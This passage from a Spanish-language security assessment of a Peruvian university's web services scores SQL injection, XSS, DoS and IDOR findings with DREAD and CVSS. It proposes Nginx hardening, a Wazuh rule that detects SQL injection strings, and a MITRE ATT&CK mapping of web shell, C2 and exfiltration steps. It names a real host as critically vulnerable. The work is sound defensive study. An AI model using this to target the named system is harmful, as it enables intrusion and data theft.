- **Elevación de Privilegios (Elevation of Privilege - 1 Hallazgo):** Control de acceso roto (*Broken Access Control*) por referencia directa a objetos inseguros (IDOR) en la consulta de estados de cuenta estudiantiles.

Sec 8.2 Evaluación Cualitativa y Cuantitativa con el Modelo DREAD

El modelo DREAD (desarrollado por Microsoft) evalúa cinco métricas clave ponderadas del 1 al 10:

- **D (Damage Potential):** Daño potencial ocasionado en caso de explotación.
- **R (Reproducibility):** Facilidad y consistencia para replicar el ataque.
- **E (Exploitability):** Esfuerzo técnico y herramientas requeridas para el exploit.
- **A (Affected Users):** Porcentaje o proporción de usuarios institucionales afectados.
- **D (Discoverability):** Facilidad con la que un atacante puede descubrir la debilidad.

La puntuación final se calcula mediante el promedio aritmético:

$$\text{Score DREAD} = \frac{D + R + E + A + D}{5} \tag{8.1}$$

ID	Amenaza Evaluada	D	R	E	A	D	Prom	Severidad
H-01	Inyección SQL en módulo SIA.	10	9	8	10	8	**9.0**	**Crítica**
H-02	Robo de sesión docente vía XSS.	8	8	7	6	8	**7.4**	**Alta**
H-03	DoS Layer 7 en pasarela admisión.	8	10	9	9	7	**8.6**	**Alta**
H-04	Fuga de datos de alumnos vía IDOR.	7	8	8	8	6	**7.4**	**Alta**
H-05	Logs locales sin centralización.	5	6	5	4	4	**4.8**	**Media**
H-06	Exposición de banners en cabeceras.	3	10	10	3	9	**7.0**	**Media**

Sec 8.3 Mapeo de Severidad CVSS v3.1

Para estandarizar los hallazgos con marcos internacionales (NVD / FIRST), se calcularon los vectores CVSS v3.1:

- **H-01 (Inyección SQL SIA):** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` → **Score: 9.8 (Crítico)**
- **H-02 (Stored XSS en Moodle):** `CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N` → **Score: 8.7 (Alto)**
- **H-03 (DoS Slowloris en Admisión):** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` → **Score: 7.5 (Alto)**
- **H-04 (IDOR en API Institucional):** `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N` → **Score: 6.5 (Medio)**

9 PROPUESTA DE MITIGACIÓN Y PLAN DE ACCIÓN

A partir de los riesgos identificados, se formula una estrategia integral de mitigación orientada al principio de Defensa en Profundidad (*Defense in Depth*), estableciendo contramedidas que interrumpen la Cyber Kill Chain en sus etapas más tempranas.

Sec 9.1 Estrategia de Interrupción por Fase de la Kill Chain

La eficacia de la seguridad defensiva radica en romper la cadena de ataque antes de que el adversario logre la fase de explotación o instalación:

- **Anti-Reconocimiento:** Ofuscación de cabeceras HTTP mediante directivas `server_tokens off;` en Nginx y deshabilitación de mensajes de depuración en entornos de producción.
- **Anti-Entrega:** Implementación de un WAF perimetral (ej. Cloudflare / ModSecurity con reglas OWASP Core Rule Set) para neutralizar patrones de inyección SQL, scripts XSS y payloads maliciosos.
- **Anti-Explotación:** Refactorización del código fuente legado en PHP adoptando consultas preparadas con sentencias parametrizadas (PDO/PostgreSQL) y validación estricta de esquemas de entrada.
- **Anti-Instalación y C2:** Restricción de privilegios del usuario `www-data` (montando directorios de carga con la opción `noexec`) y aplicación de filtrado estricto de tráfico saliente (*Egress Filtering*) en el firewall perimetral.

Sec 9.2 Configuraciones Técnicas de Endurecimiento (Hardening)

9.2.1 Configuración de Seguridad en Nginx (Cabeceras y Rate Limiting)

Se propone desplegar el siguiente bloque de configuración endurecido en los servidores Nginx de la UNAP:

>_ | Configuración Nginx Endurecida (/etc/nginx/conf.d/security.conf)

```
# 1. Ocultar informacion de version
server_tokens off;
```

```
more_clear_headers 'Server' 'X-Powered-By';

# 2. Limitacion de tasa contra ataques DoS (Rate Limiting)
limit_req_zone $binary_remote_addr zone=req_limit:10m rate=10r/s;
limit_conn_zone $binary_remote_addr zone=conn_limit:10m;

server {
    listen 443 ssl http2;
    server_name sia.unap.edu.pe;

    # Aplicar limites
    limit_req zone=req_limit burst=20 nodelay;
    limit_conn conn_limit 10;

    # Cabeceras de proteccion
    add_header X-Frame-Options "SAMEORIGIN" always;
    add_header X-Content-Type-Options "nosniff" always;
    add_header X-XSS-Protection "1; mode=block" always;
    add_header Content-Security-Policy "default-src 'self';" always;
}
```

9.2.2 Regla de Detección SIEM (Wazuh / Syslog)

Para garantizar la visibilidad en la fase de detección temprana, se define una regla personalizada en Wazuh para correlacionar intentos repetidos de inyección SQL:

>_ | Regla Wazuh para Detección de SQLi (/var/ossec/etc/rules/local_rules

```
<group name="web,appsec,">
  <rule id="100050" level="10">
    <if_sid>31100</if_sid>
    <match>UNION SELECT|FROM public.|--</match>
    <description>Alerta Critica: Intento de Inyeccion SQL detectado en SIA</
   description>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>
</group>
```

Sec 9.3 Matriz de Recomendaciones Técnicas y Plan de Acción

La siguiente tabla consolida las acciones preventivas, el nivel de prioridad y el equipo responsable dentro de la UNAP:

Hallazgo	Medida de Mitigación Propuesta	Control Técnico Específico	Prioridad	Responsable
H-01 (SQLi)	Parametrización total de consultas SQL y despliegue de WAF.	Migración a PDO con *Prepared Statements*.	**Inmediata**	Desarrollo OTI
H-02 (No MFA)	Despliegue de Autenticación Multifactor obligatoria.	Integración de TOTP (Google Authenticator) / OAuth2.	**Inmediata**	Redes y Sistemas
H-03 (DoS)	Protección de borde y limitación de tasa de peticiones.	Reglas de Rate Limiting en Nginx y proxy inverso.	**Alta**	Infraestructura
H-04 (IDOR)	Control de acceso basado en roles (RBAC) a nivel de API.	Validación de sesión y pertenencia del recurso en middleware.	**Alta**	Desarrollo OTI
H-05 (Logs)	Centralización de logs e implementación de SIEM.	Despliegue de stack Wazuh / Elastic para monitoreo activo.	**Media-Alta**	Seguridad Digital
H-06 (Banners)	Ocultamiento de metadatos y versiones de software.	Configuración de `expose_php = Off` y `server_tokens off`.	**Media**	Administradores

Sec 9.4 Cronograma y Hoja de Ruta de Implementación

Se propone una implementación progresiva dividida en tres fases estratégicas:

1. **Fase Corto Plazo (1 a 30 días):** Bloqueo inmediato de inyecciones SQL mediante reglas WAF temporales, ocultamiento de cabeceras y activación de MFA para cuentas con privilegios administrativos.

2. **Fase Mediano Plazo (1 a 3 meses):** Refactorización y auditoría de código seguro (*Static Application Security Testing* - SAST) en el SIA, e implementación de límites de concurrencia para procesos de matrícula.

3. **Fase Largo Plazo (3 a 6 meses):** Despliegue del centro de operaciones de seguridad (SOC) interno con Wazuh SIEM, segmentación micro-perimetral de bases de datos y capacitación continua a docentes y personal en prevención de Phishing.

10 CONCLUSIONES

Tras la culminación del presente estudio técnico y metodológico, se arriban a las siguientes conclusiones directamente vinculadas a los objetivos de la investigación:

1. **Efectividad del Modelado STRIDE:** La aplicación de la metodología STRIDE permitió identificar de manera preventiva doce amenazas de diseño y arquitectura en los servicios web de la UNAP, destacando riesgos críticos en la autenticación docente y la integridad de las bases de datos de calificaciones del SIA.

2. **Valor Táctico de la Cyber Kill Chain:** El marco de Lockheed Martin demostró que una intrusión compleja se estructura en fases secuenciales identificables. Modelar el ataque contra el SIA evidenció que la intrusión puede ser detectada e interrumpida tempranamente en las fases de Reconocimiento y Entrega mediante controles de borde como WAF y MFA.

3. **Sinergia Metodológica:** La integración de STRIDE (enfoque estructural y estático de software) con Cyber Kill Chain (enfoque dinámico y secuencial del atacante) demostró ser altamente superior a las auditorías convencionales aisladas, proveyendo tanto el diagnóstico de la debilidad como el camino de mitigación táctico.

4. **Impacto Institucional en la UNAP:** El diagnóstico y la matriz de riesgos entregados proveen a la Oficina de Tecnologías de la Información (OTI) de una hoja de ruta técnica clara para priorizar inversiones en ciberseguridad, garantizando la confidencialidad de la información y la continuidad operativa institucional.

11 RECOMENDACIONES

Con base en los resultados y conclusiones obtenidas, se formulan las siguientes recomendaciones para la gestión de la seguridad en la Universidad Nacional del Altiplano:

Sec 11.1 Recomendaciones a la Oficina de Tecnologías de la Información (OTI)

- **Despliegue de Autenticación Fuerte:** Obligar el uso de Autenticación Multifactor (MFA) para todo el personal docente, administrativo y con acceso a sistemas de actas y tesorería.
- **Adopción del Ciclo de Vida de Desarrollo Seguro (SSDLC):** Integrar prácticas de modelado de amenazas STRIDE y escaneo automatizado de vulnerabilidades en las fases previas al paso a producción de cualquier nuevo servicio web institucional.
- **Segmentación y Cero Confianza (Zero Trust):** Aislar los clusters de bases de datos PostgreSQL y Oracle en redes VLAN privadas sin acceso directo a Internet, permitiendo únicamente conexiones provenientes de los servidores de aplicaciones autorizados.
- **Monitoreo Activo y Respaldos Inmutables:** Implementar una solución SIEM de código abierto (como Wazuh) y establecer políticas de copias de seguridad desconectadas (*Offline Backups*) cifradas para mitigar riesgos de Ransomware.

Sec 11.2 Recomendaciones a la Comunidad Universitaria y Futuras Investigaciones

- **Cultura y Concientización en Ciberseguridad:** Realizar campañas periódicas de capacitación sobre ingeniería social, uso de contraseñas seguras y detección de correos de Phishing.
- **Líneas Futuras de Investigación:** Extender el presente modelado incorporando el marco MITRE ATT&CK para mapear tácticas, técnicas y procedimientos (TTPs) específicos de grupos APT dirigidos al sector educación en América Latina.

Sec Anexo A: Glosario de Términos de Ciberseguridad

- **APT (Advanced Persistent Threat):** Grupo de ciberdelincuentes sofisticado y con recursos que mantiene acceso continuado a una red.
- **CVSS (Common Vulnerability Scoring System):** Estándar internacional abierto para evaluar la severidad de las vulnerabilidades informáticas.
- **DREAD:** Modelo de evaluación de riesgos cuantitativo desarrollado por Microsoft.
- **IDOR (Insecure Direct Object References):** Tipo de vulnerabilidad de control de acceso donde una aplicación expone referencias directas a objetos internos de la base de datos sin autorización previa.
- **OSINT (Open-Source Intelligence):** Recopilación y análisis de información obtenida de fuentes públicamente accesibles.
- **SIEM (Security Information and Event Management):** Sistema centralizado para la agregación, correlación y análisis de registros de seguridad en tiempo real.
- **WAF (Web Application Firewall):** Cortafuegos de capa 7 diseñado para filtrar, monitorear y bloquear tráfico HTTP malicioso hacia una aplicación web.

Sec Anexo B: Matriz de Mapeo MITRE ATT&CK Enterprise

A continuación, se presenta la correspondencia entre los hallazgos de la investigación y las técnicas del marco MITRE ATT&CK:

Táctica MITRE	Técnica / ID	Relación con Hallazgos UNAP
Acceso Inicial	T1190 - Exploit Public-Facing App	Inyección SQL en módulo del SIA (`sia.unap.edu.pe`).
Ejecución	T1059.004 - Unix Shell	Ejecución de comandos del sistema operativo vía SQLMap.

Táctica MITRE	Técnica / ID	Relación con Hallazgos UNAP
Persistencia	T1505.003 - Web Shell	Carga de script PHP malicioso en directorio web público.
Defensa Evasiva	T1070.004 - File Deletion	Borrado de logs locales en servidores no centralizados.
Comando y Control	T1071.001 - Web Protocols	Conexión inversa cifrada HTTPS (puerto 443) hacia servidor C2.
Exfiltración	T1048.003 - Exfiltration Over Web	Extracción del volcado de base de datos comprimido vía HTTP POST.

BIBLIOGRAFÍA

Congreso de la Republica del Peru. Ley nro. 29733: Ley de proteccion de datos personales y su reglamento, 2011.

FIRST. Common vulnerability scoring system v3.1: Specification document, 2019.

Michael Howard and David LeBlanc. *Writing Secure Code*. Microsoft Press, Redmond, WA, 2nd edition, 2003.

Eric M Hutchins, Michael J Cloppert, and Rohan M Amin. Intelligence-driven computer network defense informed by analysis of adversary campaigns and intrusion kill chains. *Leading Issues in Information Warfare & Security Research*, 1(1):80–106, 2011.

ISO/IEC. Iso/iec 27001:2022 information security, cybersecurity and privacy protection — information security management systems — requirements, 2022.

Loren Kohnfelder and Praerit Garg. The threats to our products. Technical report, Microsoft Corporation, 1999. Microsoft Interface Security Report.

J. D. Meier, Alex Mackman, Michael Dunner, Srinath Vasireddy, Ray Escamilla, and Anand Murukan. Improving web application security: Threats and countermeasures. Technical report, Microsoft Corporation, 2003.

NIST. Guide for conducting risk assessments. Technical report, NIST Special Publication 800-30 Revision 1, 2012.

NIST. Framework for improving critical infrastructure cybersecurity (version 1.1). Technical report, National Institute of Standards and Technology, 2018.

OWASP Foundation. Threat modeling cheat sheet. Technical report, Open Web Application Security Project, 2020.

OWASP Foundation. Owasp top 10: 2021 - the ten most critical web application security risks. Technical report, Open Web Application Security Project, 2021.

Karen Scarfone, Murugiah Souppaya, Amanda Cody, and Angela Orebaugh. Technical guide to information security testing and assessment. Technical report, NIST Special Publication 800-115, 2008.

Adam Shostack. *Threat Modeling: Designing for Security*. John Wiley & Sons, Indianapolis, IN, 2014.

William Stallings. *Cryptography and Network Security: Principles and Practice*. Pearson, 7th edition, 2018.

The MITRE Corporation. Mitre att&ck enterprise matrix for web applications, 2023.